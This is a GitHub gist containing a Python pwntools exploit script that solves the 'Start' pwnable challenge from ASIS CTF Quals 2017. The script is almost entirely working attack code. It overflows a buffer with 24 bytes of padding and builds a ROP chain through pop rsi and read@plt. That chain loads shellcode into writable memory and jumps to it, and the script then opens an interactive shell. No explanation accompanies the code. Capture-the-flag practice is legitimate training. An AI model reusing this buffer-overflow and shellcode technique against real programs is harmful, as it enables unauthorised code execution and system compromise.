Skip to content

Instantly share code, notes, and snippets.

@0xPwny
Created May 23, 2017 02:50
Show Gist options
  • Save 0xPwny/05326aac83165171a376a5c8a8048369 to your computer and use it in GitHub Desktop.
Save 0xPwny/05326aac83165171a376a5c8a8048369 to your computer and use it in GitHub Desktop.
ASIS CTF Quals 2017 - Start - pwnable
#!/usr/bin/python
from pwn import *
from littlepwny import *
#con = remote(sys.argv[1],int(sys.argv[2]))
con = process("./START")
shellcode = Scode("x64")
readplt = 0x0000000000400400
poprdi = 0x00000000004005c3
shelladdr = 0x00601000
poprsi = 0x4005c1
payload = "A"*24
payload += p64(poprsi)
payload += p64(shelladdr)
payload += p64(0x0)
payload += p64(readplt)
payload += p64(shelladdr)
print '{+} send payload ...'
con.sendline(payload)
print '{+} send shellcode...'
con.sendline(shellcode)
con.interactive("Pwned$ ")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment